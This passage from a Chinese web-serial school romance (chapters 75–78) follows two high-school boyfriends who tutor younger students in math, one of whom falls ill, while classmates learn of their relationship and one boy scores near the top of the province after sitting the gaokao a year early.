【秦苗】明白明白,能教会我就行,只要包教会,给我骂成筛子我都绝无怨言。 【秦禾】我会及时喊“爸爸”求饶的。 楚明:“……” 他无奈地扶额,把手机横过屏来,手肘轻顶了下江淮的腰:“行了吗?” “还行,”江淮基本吃透第一张试卷的题了,他撂下笔:“你确定你带的是高三生?” “怎么?”楚明愣了下。 江淮说:“错题都挺基础的。” “嗯,”楚明对此不予置否,拨出视频通话时温馨提醒了句:“但等会儿可能会难哭你。” 江淮挑了下眉:“拭目以待。” 视频拨通,秦苗秦禾在一个方块里,看清楚屏幕上骤然跳进来的人脸,都愣了一下,须臾秦苗才倒吸一口凉气:“你啊!” “认识就不介绍了,”江淮说。 秦苗:“……” 秦禾对他印象不深,只是看着这张冷脸还莫名觉得很有压迫感,他甚至连疑问都是mini版,压低声音:“谁啊?” “姓江,你师爹。”秦苗说。 秦禾:??? 秦苗没管自家哥哥听不听得懂,凑近屏幕,盯着视频一打通她便注意到的江淮右边肩膀旁边的衣料,眼睛精明地眯了起来:“小楚哥,你是不是也在啊?” “他嗓子不舒服,”江淮先一步按住楚明:“你找他干嘛?” 哟,醋了。秦苗啧啧两声:“啊没事没事,就是问一下,小楚哥现在退烧了吗?” “别废话,”江淮转了圈笔,笔尾巴敲了敲屏幕,“第七题。” 秦苗退回去,开始认真听。 楚明坐旁边微微偏头,认真地看着江淮的侧脸。 其实讲的还挺有模有样,先把考点抛出来,看秦苗他们能不能反应过来,顺畅的话直接跳到下一题,不顺畅再回归题目……唯独不太常规的是,他耐心不多。 “呵,”江淮往后仰了些,声音冷冷的:“不规则正弦定理,把sinC拆成sinA+B,好几遍了。” “呃……”秦禾挠了挠头:“我没看出来。” “现在呢?”江淮拧眉:“算给我看。” 秦禾拿着笔,清清嗓子认真地把草稿纸放平,先是看了一会儿前一题抄好的红笔过程,照猫画虎地开始算,算到一半突然感觉头皮一凉,他抬眼就撞上屏幕里江淮冷淡的神色。 他连忙低头,把前面过程尽数叉掉,重新算。 江淮:? 楚明:“……” 他很轻地叹了声气,往前倾身,关掉摄像头:“算你的,听就行。” 像快死的人找到救命稻草,秦禾瞬间双眼亮成灯泡:“楚哥!” “我在旁边,”楚明刚喝完水润喉,声音还算正常:“你别怕他。” “小楚哥!”秦苗刚才听完半张试卷自己单独去书房消化了一会儿,走回来准备接着往下听,听到楚明的声音愣了下:“你一直都在旁边吗?” 江淮挑了下眉,偏头细细地看着楚明的脸。 “嗯,”楚明也看着江淮,笑着说:“你们别太紧张,但也别松懈。连错三道同类型错题,秦禾你是没睡醒还是没认真?” “爸爸!江爸爸!”秦禾立马怂了:“我保证下一题一定对!” 江淮:“……” 楚明笑着坐回沙发里,后背靠着抱枕他微微低头,继续去算第三张难题卷,眼尾视野里似乎暗了些,他正要看过去,江淮的脑袋从下往上蹭了过来,在他嘴唇落了个无声的吻。 他微怔,抬眼视频里秦禾秦苗正亮着两双求知若渴的眼睛,秦禾还在嘀咕:“射影定理我从初中就没学明白过,这里的投影视角,要……” 垂眼是江淮白皙的耳垂,他托住江淮的后脑勺,轻轻压到他耳边:“问你射影定理了。” “操,”江淮拧了下眉,坐直时还不忘在楚明衣服里抓了一把,他冷声:“秦禾你确定你要高考不是中考吗?射影定理还要讲?” 楚明笑着捏了捏他的手。 那头秦禾似乎早已业务熟练:“爸爸!江爸爸!我真没听明白过!” “画个三角形,”江淮敲了下屏幕,“我教你推。” “好嘞!”秦禾嘿嘿笑起来。 江淮:“……”—— 作者有话说:我操,按错了,这章它就这么水灵灵地早产了[愤怒] 第76章 第 76 章 “是能亲嘴儿的那种一对…… 把秦禾的时间讲满, 江淮向后仰躺下去,双眼甚至有些失焦,他长长地呼出一口气:“靠, 我跑满场都没这么累过!” 楚明仍旧笑着, 摸了摸他的脑袋:“秦禾数学是不太好,不然也不会复读;等会儿秦苗会好一些,她基础牢,所以她的相关题型除了错题基本都是压轴题。” “嗯……”江淮声音透出股疲累, 他把脑袋平移过去, 枕在楚明大腿上:“你说等会把我难哭,不会说的就是秦禾吧?” “不是,”楚明下意识绷紧, 稍作平息他缓缓呼气,身体也跟着慢慢放松下来,他才倾身把自己算好的试卷拿到手里:“难得是你。这张试卷要讲五道题, 但你至少有三题不会。” “是吗?”江淮挑了下眉, 伸手接过楚明只做了简单勾画标记的试卷:“全压轴?” “是,”楚明低头,指尖温柔地勾着他的鼻尖:“还是解析几何的专项。” 圆锥曲线部分和导数部分是补课期间才正式展开的内容, 虽然江淮了解一些, 也总跟着做, 但学得不够系统不够深, 往压轴题上撞, 还是比较有难度的。 “啧,”江淮扫着题,不太愉悦地抿起唇:“秦苗数学很厉害?” “平均在一百三。”楚明笑笑:“不过她的目标在满分,所以这些题是很有必要的。” 江淮眉梢跳了下:“我靠。” “别靠。你现在看前五道就行, 后五题是她的作业。”楚明说完,很小声地说了句:“快点,现在不会可以问我。” “在看,”江淮喉间滚了一下。 秦苗进入通话时摄像头直接对准的是桌面试卷,一副严阵以待的模样:“向量问题,我推到一半推不下去了。” 这题还在能力范围,江淮无名指勾着笔轻转,淡淡地说:“多穿了件衣服而已,看题。” “嗯。”秦苗也跟着看向题。 十分钟后,秦苗激动地点了点头:“我操,江淮你牛逼啊。” “一般,”江淮轻咳一声,下一题是解析几何和平面几何的结合,他扶额,脑海里飞速运转着。 “四点共圆求参问题我讲过,”楚明忽地出声,敲了下屏幕:“秦苗,你自己先推一遍。” 秦苗新抽了张草稿纸:“哦,好!” 楚明往前倾身,把自己这边的声音关掉,笑着勾过江淮的脖子:“来,我讲。” 江淮凑过去。 “不管多复杂,找到最终式算就行了,”楚明握着笔时不时写点关键式子:“看题,O、A、P、Q四点共圆……” 接下来基本就是楚明讲完关键,江淮快速消化好后讲给秦苗,有问题再回流,整套循环下来这五道题还算流畅地被解决掉。 “早点休息。”秦苗挥了挥手,率先挂断视频。 “嗯。”楚明关掉已经快没电的手机。 江淮长长地呼气,往后伸了个大大的懒腰,侧倒下去,熟练地枕在楚明大腿,翻了个身,抱住他的腰:“靠,累死了。” “等你跟学校进度再过完一遍,会好很多。”楚明说。 “嗯……”江淮闭上了眼睛,声音透出浓重的疲累:“我先睡会儿。” “好。”楚明笑了笑,抬手捡起旁边的小毛毯搭在他身上,去够试卷时手背蜻蜓点水般地带过他额头,似乎有点儿烫。 但想到刚才比较高集中的思考浓度,他没多想,拿起试卷看了下卡住江淮的几套题:明天可以给他来一套专项训练。 十点半了,江淮还没有要醒的意思。 他睡得挺沉,脸朝着楚明的腰腹,温热的呼吸尽数扑落在他小腹……楚明快被蒸熟了,伸手拍了拍他的脸:“醒了。” 应该是听到了,但在无声地抗拒,江淮环住他腰的手臂狠狠收拢,闭着眼脑袋胡乱地蹭了蹭。 楚明被他蹭得烦躁,伸脚找到拖鞋穿好,手腕滑到江淮膝弯,稍一用力就把人抱了起来,往浴室走的时候还颠了一下。 江淮很轻地哼了一声。 楚明垂眼,轻声说:“洗漱完再睡。” 他踢开门,把江淮稳稳地放在洗漱台前,怕他没清醒摔下去,从后往前半抱住他,伸手去拿牙膏牙刷。 “嗯?”江淮想往后走却被稳稳锢住,他缓缓睁开眼:“干嘛?” “洗漱。”楚明用手背贴了贴他额头:“声音怎么有点哑?” “不知道,”江淮倚在他身上:“嗓子痛。” 楚明把牙刷戳进他嘴里,轻声说:“等会吃点药,八成是感冒了。” “嗯,”江淮叼咬住牙刷上下点了点,才伸手去握住,半会儿他又点了次头:“嗯。” “站好,”楚明走之前先托了下他后腰:“洗完直接上床等我。” 江淮轻点头:“嗯。” 楚明兑好颗粒药,又多拿了颗胶囊,试好温度后他推门进到房间。 江淮正趴在棉被上,睡衣穿得松松垮垮,似乎听到有动静,他朝门口的方向转了下头:“嗯?” “你……”楚明端着杯子,坐到床边,“喝点药。” 江淮两手肘缓缓撑起上半身,抱着玻璃杯喝了两口,又低头含走楚明手心里躺着的胶囊,他把剩下半杯也一并喝完:“难喝死了。” “那你跟我说说什么药好喝?”楚明擦了擦他的嘴角,接过杯子。 江淮摇了摇头。 把温度计简单消毒,楚明拉开他睡衣领口往里去塞,指尖撩过他发烫的皮肤时,拧了下眉:“都不用量了。” “嗯?”江淮垂眼看着伸进自己衣服里的手,眨了眨眼。 “很烫,”楚明抽回手,把他衣服整理好,又把棉被抻平给他盖实,揉了把他的头发:“先睡,明早起来再看看有没有加重。” 江淮没有再应声,内外都热烘烘的,他眼皮沉重,什么都没来得及想,脑子已经发沉,睡着了。 五分钟后楚明轻手轻脚地取出温度计,扫过上面的三十七点九,直觉还要升,他转身出房间去打了盆热水。 被滚水泡透的毛巾拧得半干,轻轻搭在江淮额头,江淮拧了下眉,不太明显地哼了一声。 楚明抬手,擦掉滑落到他脖颈间的水珠,微微俯身,嘴唇轻地贴了下他眼皮:“晚安。”- “我突然意识到一件事情。”才早读下课,赵逵逵捧着他破旧的日语单词书就站到赵西的位置,恰巧两人进厕所,他霸占俩坐,书遮住半张脸,他的眼睛疯狂流转在江淮和楚明之间,“当然也不完全是我意识到的。” 江淮喉咙痛,没给他什么好表情,薄薄的眼皮一掀,又垂下。 “什么事?”楚明把热水挪到江淮手里。 赵逵逵可能以为自己现在的眼睛像鹰眼一般犀利,他fer~地刺向楚明,又ferfer~地刺向江淮,一语不发。 江淮&楚明:“……” 和意料之中的反应不太一样,赵逵逵把头搁在他俩课桌桌缝间,极为小声地说:“你们俩都戴的是白色口罩。” “嗯,”楚明不知道他要说什么,但还是礼貌地配合:“是白色。” 赵逵逵倒吸一口凉气,突然像个小炮弹,嘣!地炸开,他用几乎听不到的声音尖叫:“情侣款!” “……”江淮和楚明对视一眼,默契地保持缄默。 “我靠,”赵逵逵把单词书夹到胳肢窝,两手十指忙出千手观音的效果,他双目炯炯冒火:“我靠,你们!戴一样的口罩!” 楚明曲指敲了下江淮手里捧着的水杯,示意他先喝水。 江淮勾下半边口罩带子,垂眼去喝。 “他感冒,我也是。”楚明淡定地转向赵逵逵:“你是不是没去过医院?” 赵逵逵:“……” 他想了想,确实医院里医生护士也都戴一样的口罩,他沉默半晌,痛苦地开口:“可、可是严越跟我说,你俩是一对儿。” 江淮抬眼,眉梢轻地挑了下,又继续喝水。 “他还特地强调,”要不是在教室赵逵逵都想把手机掏出来,让那段令他彻夜难眠的聊天记录重见天日,他有些抗拒又憋不住地想说:“是能亲嘴儿的那种一对儿。” 楚明:“……” 江淮不紧不慢地喝完半杯热水,嘴里烫得感觉张口就能冒烟,他不想说话,把口罩勾好后,伸出食指在赵逵逵眼前凭空画了条对勾。 “我靠!”赵逵逵惊。 像被502黏在座椅上了,赵逵逵一动不动地坐在赵西的位置,呆若木鸡。 预备铃打响的时候他才惊魂未定地起身、走路,沿途单词书还掉了,江淮弯腰捡起,角度力度控制精准地抛到他座椅上,赵逵逵头也没回,只反手比了个三指ok。 看他一路鸭子步回座位,楚明凑到江淮耳边:“严越怎么跟他说了?” “可能又没追到人。”江淮嗓音沙哑,很低地说:“来霍霍我们。” “又?”楚明惊讶地挑了下眉,在他印象里,严越外形条件挺优越的,性格也不错,不像是追不到人的类型。 “嗯,”江淮笑得眉眼弯了起来:“他个傻逼,回回追到直男。” 楚明:“……” 他微微往后坐了些,看着江淮的脸,忽然意识到,自己和江淮在一起,似乎从来没考虑过……性别问题,自然到好像一切本该如此。 “看我干嘛?”江淮的手往下扣住他的手腕,晃了晃:“老师来了。” “嗯。”楚明反手捏住他的,坐直时小声说了句:“江淮,我喜欢你。” 江淮看着他,笑了笑:“吓我一跳。” 楚明:“……” “我也是,”江淮试探着摸清他的手指,往下十指扣紧,微微用力像是在证明自己的存在—— 作者有话说:为体现我平易近人温和纯良真诚友好和蔼可亲,虽已无话可说,但还是得在作话留点东西[狗头] 第77章 第 77 章 “明年这个时候,你就不…… 自从从严越那里知道楚明江淮的关系, 赵逵逵就跟变异了似的。 三人并排走再也不走中间,去厕所都要找个远点的“坑”,吃食堂更是本着情侣一桌他对面的原则严格执行…… 就连今天打篮球, 楚明向江淮传去的球他都不太敢断。 生怕成为他们感情里的绊脚石一样。 “你有毛病?”江淮投球成功后, 看傻逼一样地看着赵逵逵:“特意破绽百出的一次传球,你就眼睁睁看着?” 赵逵逵举起双手做投降状:“不是,你俩的球,我能断吗?” 江淮:“……” 楚明:“……” “那今晚的球, ”江淮坐到旁边, 毛巾搭在后脖颈,他微微低头在擦汗:“你要怎么打?” 楚明给他递了瓶水,顺便捻起毛巾一角擦掉他耳后皮肤上的汗滴。 “今晚怎么了?”赵逵逵记得今晚是严越约的球, 还特意强调纯娱乐无竞技。 江淮平淡地抛出炸弹:“他带他男朋友来。” “我操!!!”赵逵逵大惊失色。 楚明也跟着愣住:“他又有了?” “嗯,”江淮勾住他脖子往下压,跟他咬耳朵:“上周网吧打游戏遇到的, 他看上了。” “又去网吧?”楚明拧了下眉。 “他家开的, 不去才不对吧。”江淮笑了笑,“怎么,你很关心他的学习?” “也不是。”楚明见赵逵逵蹲在角落在看手机发消息, 实在不敢让江淮有任何半点吃醋的机会, 低头亲了下他嘴角, 安抚好后才开口:“过完暑假高三, 他还不准备收心呢?” 开春后, 严越没再当三中校队队长,就常常跟他们约点娱乐球局——纯纯展示人脉的时候。 赵逵逵不带球队里的人过来时,严越就会独挑大梁,于是乎他们总能看到一批接着一批不认识的帅哥到球场, 重复率低至百分之零。 “他玩惯了,”江淮借着他的力起身:“遇到个能收拾他的,就老实了。你今晚打完要干嘛?” “打完去趟秦苗那儿,”楚明捡球,说:“下周高考,他们现在紧张得状态低迷。” “这么快啊?”突然听到高考两个词,江淮没来由地愣了一下。 “是啊,”楚明拍了拍球:“明年这个时候,你就不用再当狗了。” 江淮:“……”乱发誓的代价! “什么明年?”赵逵逵走过来时听到半句,问了下:“你们在说什么?” “高考,”楚明说。 “高考啊,我靠。”赵逵逵眉毛卷了起来,“说起高考我就腿软,不知道为什么就突然特别紧张。” “紧张什么?”楚明对此倒没什么情绪,想到今晚还要心理疏导秦禾,他多问了句。 “紧张考不好啊。平时考试考差没关系,反正还有下次,但高考就一次啊,而且我爸妈期待值老高了,一直问我高三要不要办走读,租个离学校近点的房子他们来照顾我,”赵逵逵垂眼:“他们不这么说不这么做还好,偏偏我又劝不住他们,总不能跟他们说别管我了。” “我考差不要紧,但我挺怕他们失望的,读书这么久不就是为了高考那两天嘛。我挺怕出成绩的时候,别人家家长都能大大方方说自己孩子考的怎么样考什么大学,我的成绩他们根本拿不出手……” “这样啊。”听他念叨半天,楚明默了一会儿。 半年前顾微罕见地留在家里过了个年,之后便再没有联系,好像大家都默认桥归桥路归路各走各的。 他对于所谓家人期待这一项,完全没有什么可焦虑的。 江淮表情很淡地瞥了赵逵逵一眼:“你去投个球。” “啊?”赵逵逵愣了下,从楚明手里接过球,不明所以地运球进内场,站到三分线投篮点,要投前还先回了下头,见江淮没有骂他,他抬手将球抛了出去。 还成,进了。 江淮看着他,“紧张吗?” “有点儿,”赵逵逵抓了把头发:“就突然来这么一下,是个人都会紧张吧。” “但你进了。”江淮淡淡地说:“所以紧不紧张无所谓。” 赵逵逵眼睛瞬间瞪成铜铃:“我操!” “别吵,你怎么跟侯俊一样,”江淮偏了下耳朵,去拽楚明的手腕往外走时,补充了句:“另外高考不止一次。” “嗯……”赵逵逵跟上:“啊,是,还能复读。这我知道,但我肯定不会复读。” 江淮轻挑眉,没说话。 楚明偏头,不经意地看了他一眼,也跟着没有多言- 八中作为历年高考文科考点,早早布置好考场之后,三天的假期便毫无悬念地展开。 最后一堂英语考试才结束,远程返校的同学就已经堵在隔离线外,一经放人,便开始往里冲。 “耶?”赵逵逵正冲锋呢,忽然瞟见前面嘈然人群里一颗鹤立鸡群的后脑勺,仅用零点零一秒就猜出此人姓江名淮,拉紧书包带他狂奔上去:“江哥!” 手指即将穿越人群碰到江淮书包的前一秒,视野里骤然跳进一张脸,他猛脚刹车! 太帅了,微燥的风扬起少年额前碎发,露出饱满的额头和精致的眉眼,尽管戴着口罩但看得出他在笑,透亮的黑色眼瞳里倒映进橘红灿亮的天色。 下一刻,少年进了江淮的……怀里?! “我操!”赵逵逵跟撞破出轨现场似的,连忙缩回僵在半空中的手,往后退时还不小心接连撞到人。 在他说对不起说得嘴都快秃噜皮的时候,余光里那少年下巴搁在江淮肩头,平静地和他对视。 赵逵逵这才幡然醒悟:“楚明?!” 鉴于教室内还有清点试卷答题卡的监考员,八中学生都徘徊在教学楼外,哪有台阶就坐哪。 “你那什么破表情?”江淮长腿伸着,低眼看了下赵逵逵。 “活久见,”赵逵逵没坐他俩旁边,而是坐在台阶下,抬着头和他们对看,“江哥你返校从没如此积极过,不是还有一个小时才让到班?” “我来接楚明,”江淮说。 “嗯?”赵逵逵愣了愣:“接什么?” “我。”楚明以为太吵他没听清,善解人意地重复了句。 赵逵逵:“……”什么牛头不对马嘴的聊天。 好吧,这话题先保留,他怕再连问几句为什么问得他江哥秒得厌蠢症,赵逵逵拿出手机边刷边找其他话题:“听说今年高考英语题特别难,题量还大,根本做不完。” “一般吧,”楚明偏头,枕在江淮肩头,看着远处开阔的天空:“英语难不到什么地步。” “嗯?”赵逵逵抬眼:“我还没来得及看试卷,楚哥不愧是学霸,你这看题速度也太快了吧!” 楚明轻阖眼,“才做完,印象深。” 赵逵逵人没反应过来,但脑子却先缓缓升起一个:? 江淮捞过楚明的右手,把几根手指分别捏了捏,尤其是写字需要会摁到的指节:“困了?” “嗯。”楚明说:“但有点热,睡不着。” “等等,等等等等——”赵逵逵再也忍不住,突然找到智商他来不及管他们两人还在缠绵,他把屁股往前平移了几许,没管校裤都被呲掉一层皮,他胡乱比划了两下:“楚哥你刚刚说,才做过,啥意思啊?是我想的那个意思吗?” 楚明垂眼看他:“你想的什么?” “我不知道,”赵逵逵厌弃地拍了一巴掌自己毫无IQ的脑袋,“但我感觉不对劲,你们俩有什么事瞒着我。” 楚明轻轻地笑了,伸手把裤兜里的准考证拿出来,扔给他:“来考场玩了一次。” 江淮挑了下眉,一副“这我男朋友”的骄傲劲儿。 赵逵逵:?! 等他把准考证上的姓名、照片和楚明一一比对完毕,他惊得眼珠都快脱眶了:“我操!” “不是跟你说过,”江淮笑着:“高考不止一次。” “等等等等,怎么会?”赵逵逵把准考证翻来覆去看了两遍,还处于一种难以置信的状态:“我操,高二居然能参加高考吗?” “不清楚,”楚明淡淡地开口:“但年前马老师问我想不想参加,机会难得,我来感受一下。” “这么牛逼的吗?”赵逵逵止不住地惊讶。 “一般,”楚明扶额:“玩玩而已。”没经历三轮复习的高二生,在高考场上还是有些手足无措的。 回到教室又是一场浩大的工程,把桌椅归位,再把进办公室的书籍搬回桌肚……一系列建设完,教室才开始坐人。 因为考场规则,楚明现在还是一身白t黑裤,即使坐在教室最角落,也扎眼到跟站在聚光灯下一样。 “没穿校服,扣班级分0.5分。”江淮单手托腮,笑着说。 楚明无奈地摇了下头:“能怎么办。你的脱给我?” “啧,”江淮说着便伸手去拉外套拉链,要拉到底的时候楚明侧身把他的手按在小腹。 江淮轻挑眉:“嗯?” “别,”楚明操纵着他的手指原封不动地把拉链拉到顶:“等会儿教室空调又要被你吐槽一万遍了。” 江淮:“……” 晚些时候不止江淮注意到,陆陆续续还有人开始小声嘀咕楚明没穿校服。 大马猴才进班就听到一句“长得帅才更要穿校服啊,他长这样让我们其他男生怎么办?” 大马猴:“……” 他敲了敲讲台,发出砰砰的声响:“安静点啊。” “老师,举报楚明没穿校服。” 楚明掀起眼皮,朝那位长相于他而言已经到陌生程度的男生扫了一眼,又淡淡收回。 大马猴咳了一声,摆手:“小楚他是特殊情况,即使扣分我也会向学生会反映。” “什么特殊情况,不能因为他学习成绩还看得过去就特殊对待啊!”那男生锲而不舍。 大马猴想伸出拳头堵住他的嘴,又多少有点师德,他叹了口气:“楚明同学和隔壁班的李央同学均参加了这次高考,才考完,不能奢求他们有时间换校服再进班。” “我操!!”教室里瞬间爆发出一阵惊吼。 “干嘛呢?文明文明文明!”大马猴抄起戒尺敲了敲讲台:“这件事就此过去,没什么讨论的了。课代表现在收假期作业,我看谁没完成!” 被收作业的消息打得就地晕倒,讨论音量瞬间到达冰点,大家一致地开始翻书包找作业,见缝插针地假动作补或是抄或是不交。 楚明微微偏头,目光落在晚霞已然烧尽的天空,是深邃的墨蓝,让人心情不自觉平静下来。 余光里是线条清晰轮廓分明的江淮的脸,而后才是几乎成为虚影的班级同学。 “这位帅哥。”江淮拍了下他的手。 楚明偏过头来:“嗯?” 江淮心跳有片刻的漏拍,窗玻璃上映着楚明的半张侧脸,眉眼柔和鼻梁挺直,坐在白炽灯亮光打不完全的偏角,微暗的光影落在出挑的五官,跟哪位妙笔特意画在这儿似的,完全身处另一个图层。 散发着和嘈喧的教室格格不入的气质。 楚明弯腰去拉他的书包,摸出自己早前做过的作业,放到他手里:“发什么呆?往前收。” “哦。”江淮回过神来,用力压下嘴角后继续往前,冷着脸收完其他人的作业。 “刚怎么了?”楚明等他回到座位,小声地问了一句。 江淮细细看着他的脸,手指在他光滑的脸颊上划了一道:“太帅了,想亲。” 楚明:“……” 他握住江淮的食指,“你知道这是在教室吗?江淮同学。” “知道,”江淮余光留意着还处于被“收作业”三字硬控的班级秩序,压住楚明的手往下,低下头很轻地吻在他无名指,抬头若无其事地晃了晃他的手。 得亏补课期间监控室值班老师放假…… 楚明笑了笑:“我服了你了。” 高考结束后沉淀一定时间后,按照惯例,在某个看似平常的夜晚,高二年级集体搬迁到毕业班专属楼栋,与世隔绝般,楼层间瞬间安静得像闹了鬼一样。 “这就是高三的压迫感吗?” “我丢,明年该我高考了。” “我的高三牲涯就这么稀里糊涂地开始了?” 才进到新教室,就掉了一地的唏嘘。 江淮潦草地收拾完桌椅,拉开座椅坐下,抬眼淡淡扫过黑板上方挂着的红色横幅,被笑到似的挑了下眉。 “让我,”楚明掌心按在他侧腰,捏了捏:“进去。” “停顿一下是什么意思?”江淮让开半步,习惯性地去捏住他手腕。 “没,”楚明顿了一下:“你腰捏着很舒服。” 江淮往后仰了些,脑袋轻轻蹭了蹭他的腰:“你的手感也不错。” 楚明进到里面时捂住他的嘴:“嘘。” 新教室新桌椅,还没完全适应好忽然听到外面爆发出一阵尖锐的爆鸣,紧接着烟花升天的动静炸亮了半块天幕。 高三过后新设晚晚自习,上到十点四十才下课——这儿临时搬换教室,时间也不过才十点左右。 “怎么了?” “我操,学校在放烟花!” “记起来了,今天高考出分来着!这是有人考的很好吧,单独庆祝?” …… 整栋教学楼还在上课的不多,学生自作主张地往走廊跑去,仰头就见教学楼的顶空升起一片热闹的姹紫嫣红,斑斓里还落着团团白雾。 江淮抬头,稀奇地问:“不是禁放?” “八中每年都缴违规费,”楚明站他旁边解释,太吵他便贴着江淮的耳朵:“固定项目。考得好多放,考得少也放。” 江淮笑了笑:“那这算好还是不好?” “算好吧,”楚明目光穿透玻璃窗看到教室里的挂钟,才十点过几分,他说:“才出成绩就放,校领导应该开到一份好的了。” 还没等江淮再调侃两句,突然身后喇叭哥的声音劈开几十道身影径直空灵地传来,像在天灵盖上磨斧子,震得人牙酸——“楚明,楚明,班主任叫你!” “嗯?”楚明退了一步。 “你、你高考成绩出来了,”喇叭哥还在气喘,他指着相隔不远的办公室,上气不接下气地说:“他让你去看看。” “嗯?好。”楚明轻顿,他都快忘记有这件事了。 办公室氛围格外诡异,用太久稍显压抑的暗灯下,冻人的冷空调里,几个班主任撅起屁股竞相围在一台电脑前,偏冷的荧幕光投在脸上,怪……网瘾少年的。 “老师,您叫我?”楚明轻地叩响门。 听到声音,大马猴像被屁轰了,弹射转身:“楚明!” “嗯?”楚明被惊得往后退了步。 其余班主任更是紧紧盯着他的脸,像在看什么惊世骇俗的怪物,大马猴尤其活跃,手忙脚乱地把桌面还显示通话的手机塞到他面前,“你接。” 楚明莫名其妙地拿着手机,还没来得及看清来点人显示,就被吵得偏了下耳朵: “您好,这边是教育考试招生院……” 还没听到关键信息,大马猴立马又往他手里塞了个手机。 楚明轻顿,正要接住就听里面冒出岩浆翻涌般的动静:“你好同学你好我们是A大招生办的……” 楚明拧了下眉,想把手机还给大马猴,下一秒就从电话里听到自己的名字。 “我的仙人板板呐,”隔壁班的黑熊班主任跺了跺脚:“考这么高!马海你出息了!” 大马猴脸上挂着复杂的笑容,激动得眼角泪都包不住,他连忙上前拉住楚明的手,“楚明!楚明啊!” 楚明:“……” 现在他大概弄清楚办公室让人着迷的氛围是怎么回事了,他这次参考也许超常发挥,现在A大有意录取他。 “至少全省前三十,”黑熊老师还在激昂跺脚:“楚明早知道你是黑马的时候我就该把你捞我们班来,唉我悔不当初啊……” “天呐,高三的文科第一都没你考得高,”另一个班主任也在说:“哎哟我们年级今年……” 楚明被吵得脑仁疼,在办公室逗留二十多分钟,听了五六个电话,走回教室的时候烟花已经放完,同学尽数归班。 他独自一人倚靠在栏杆前,脑子里回荡开大马猴的最后一句话:“你回去想想,想报哪个学校?你的成绩都没问题!” 高考结果完全在自己的意料之外…… 楚明转身,卡着视角从后门看了眼教室,江淮微往后仰坐得闲散——他一向是玩闹时背挺得笔直,认真时可劲儿地懒散。 这会儿正转着笔,应该是在思考难题。 “怎么不进去?”大马猴双颊红得塞猴屁股,俨然一副还沉浸于过高喜悦里的状态。 “思考。”楚明转过视线,看着他很轻地问了句:“意思是,如果我做出选择,高三就不需要再上?” “对,”大马猴拍了拍他的肩:“怎么问这种傻问题?不过也是,我都没想过你考这么高,刚开始查不出你成绩的时候我还愣了下,哪知才退出来学校领导就给我发来祝贺,说实话我当时也和你一样,惊喜得都没有思考能力了……楚明啊,你实在是厉害,厉害!” 楚明没太听他的话,听到尾句才随口一应:“谢谢。” 等跟着大马猴进班,被拽着手腕站到讲台上时,他的目光不可避免地和后排江淮的对撞上。 他如果要走,那江淮呢? 第78章 第 78 章 “江淮你这乱七八糟的控…… 高三(21)班现今共47名学生, 才吃完烟花升天落下的灰,这会儿还没压下心头的激动,抬头见讲台上唰地站两个人, 登时愣住。 大马猴退下讲台, 而学生们视线的焦点自然而然地落在讲台中央的少年。 他身形高挑,即使是单薄的校服短袖和做工粗糙的白裤,单是笔挺地站在那里,气质也显得格外独特——扔在人山人海里都会一眼注意到的存在。 他安静地站着, 眉眼间透出一股淡定, 好像什么事都不会惊扰到他的情绪。 大马猴敏捷地打断即将蔓延开的窃窃私语,率先发言:“呃……是这样,楚明和李央同学是高二年级唯二参加这次高考的, 其中李央同学610分成绩优异……” “我操,六百一!” “等等,多少?” …… 大马猴清了下嗓子, 招魂似的招回大家的注意力, 继续说:“而楚明同学,具体排名暂且不知,但根据招生办老师透露, 应该在省前二十——” “我操!!” “我靠!!” “牛逼!!” ……教室瞬间被掀飞天灵盖, 爆发出此起彼伏的轰鸣, 像一群互相踩到对方脚掌的鸭子, 嘎嘎嘎! 才从教室外的熔炉进来, 江淮抱着校服外套,抬眼静静地看着讲台上贼长一条的楚明。 听到他高考排名那刻,他不可遏制地挑了下眉。 手卷在外套里跟走迷宫似的走半天才双双释放,他正要随大流地给他男朋友来点响亮的掌声, 忽然之间像是感知到什么,他隔着七八排桌椅注视着楚明的眼睛,明明很远却近得像鼻尖相抵的对视,滞后性地他感受到了那双沉静的眼里流出的很淡的情绪。 江淮手指不自觉地扣紧,只听到楚明在大马猴的接连起哄下兴致不高地说了句“谢谢”,便下了讲台一路往后排走。 肩头被一瞬微凉压实,他才恍然意识到楚明已经走到他身边。 从大马猴进班起,班内情绪便没低过,像是热油淋下,每道“菜”都被浇得炸出一片噼呲啪啦,这会大马猴离班,一经放纵,交谈讨论声更是一阵高过一阵。 “让我进去。”楚明声音透着些哑意。 “嗯。”江淮后腿弯勾着座椅向后,起来时被不知道什么时候开了的鞋带绊到,要朝过道摔去的时候腰被宽大的掌心紧紧锢住,隔着薄层衣料,格外温实。 他微微偏了下头,鼻尖轻地擦过楚明的侧脸。 下一秒就听班级讨论声像被打了激素似的瞬间到达沸点,楚明目光先是擦过江淮的眼睛,而后才不疾不徐地落在往后甩来眼珠的同学们身上。 “我操!”那是杨棉棉的声音。 余光里赵逵逵眼睛瞪得老圆,楚明这才意识到自己和江淮贴身而站的姿势有点儿暧昧…… “站稳,”楚明交代了句,匆匆收手,抬腿跨过他座椅往里坐去。 注意到楚明耳尖的薄红,江淮笑了笑:“啧,”等楚明坐好,他才坐回去,淡然地回视一众还落在他们身上的视线。 “啊,”见讨论即将走向不可控的局面,那头杨棉棉突然站起身:“明天一早要收英语周报,要求做完完型语填改错,大家抓紧时间!” 恰巧此时大马猴到班,才煮沸的水泡尽数被戳破,教室渐渐被纸页翻折声填满。 江淮垂眼看着手里的草稿本,今天搬书的时候从抽屉里翻出来的旧玩意儿。 他随手翻了翻,上面零碎的聊天爬满差不多四分之三的纸张,不经意的,食指卡住其中一页,他看了看。 听力试音不能换着来?我听得耳朵都起茧了。 ——江淮。 别耍少爷脾气,昨天给你的专项卷你做完了吗? ——楚明。 啧,你把我当什么管? ——江淮。 男朋友,江某人不是说要跟上我,压轴题都做不对你跟我跟哪儿? ——楚明。 啊做做做我做。 ——江淮。 傻逼吧,江淮点评了句自己,又笑着往前翻,一目十行地扫过那些内容,捕捉到什么字眼,他微顿。 马海叫你干嘛? ——江淮。 高考的事,学校有高二参考名额,手续什么的他来办,问我要不要试试。 ——楚明。 so? ——江淮。 试试,无痛实战挺有意思,到时候秦禾考差就不会搬出这种理由:“你又没考哪能懂高考的紧张”。这么说来我应该是“最”打入学生的家教? ——楚明。 傻逼,哈哈哈。但我有预感,你会考得很好。 ——江淮。 根据是? ——楚明。 我看上的人,不可能差。 ——江淮。 啧。主科还行,副科我没跟过大轮复习不好说,不过也无所谓。我联系方式留的马海的,考差了也是他先看先遭罪。 ——楚明。 怎么不留我的? ——江淮。 你?我问问你一天二十四小时,清楚地知道自己手机在哪的时间有两小时吗? 